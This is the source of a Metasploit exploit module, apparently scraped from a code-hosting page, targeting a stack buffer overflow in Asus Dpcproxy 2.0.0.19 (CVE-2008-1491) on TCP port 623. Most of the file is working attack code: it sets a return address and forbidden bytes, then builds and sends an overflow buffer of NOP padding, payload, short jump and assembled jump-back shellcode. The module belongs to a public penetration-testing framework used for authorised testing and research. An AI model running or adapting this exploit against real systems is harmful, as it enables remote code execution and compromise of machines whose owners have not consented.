Path: blob/master/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb
19720 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Asus Dpcproxy Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in Asus Dpcroxy version 2.0.0.19.17It should be vulnerable until version 2.0.0.24.18Credit to Luigi Auriemma19},20'Author' => 'Jacopo Cervini',21'References' => [22[ 'CVE', '2008-1491' ],23[ 'OSVDB', '43638' ],24[ 'BID', '28394' ],25],26'DefaultOptions' => {27'EXITFUNC' => 'process',28},29'Payload' => {30'Space' => 400,31'BadChars' => "\x07\x08\x0d\x0e\x0f\x7e\x7f\xff",32},33'Platform' => 'win',34'Targets' => [35[ 'Asus Dpcroxy version 2.00.19 Universal', { 'Ret' => 0x0040273b } ], # p/p/r36],37'Privileged' => true,38'DefaultTarget' => 0,39'DisclosureDate' => '2008-03-21',40'Notes' => {41'Reliability' => UNKNOWN_RELIABILITY,42'Stability' => UNKNOWN_STABILITY,43'SideEffects' => UNKNOWN_SIDE_EFFECTS44}45)46)4748register_options([Opt::RPORT(623)])49end5051def exploit52connect5354sploit = make_nops(0x38a - payload.encoded.length) + payload.encoded + rand_text_english(6032)55sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2)56sploit << [target.ret].pack('V') + make_nops(8) + Metasm::Shellcode.assemble(Metasm::Ia32.new, "add bh,6 add bh,6 add bh,2 push ebx ret").encode_string # jmp back57sploit << make_nops(50)5859print_status("Trying target #{target.name}...")60sock.put(sploit)61select(nil, nil, nil, 3) # =(6263handler64disconnect65end66end676869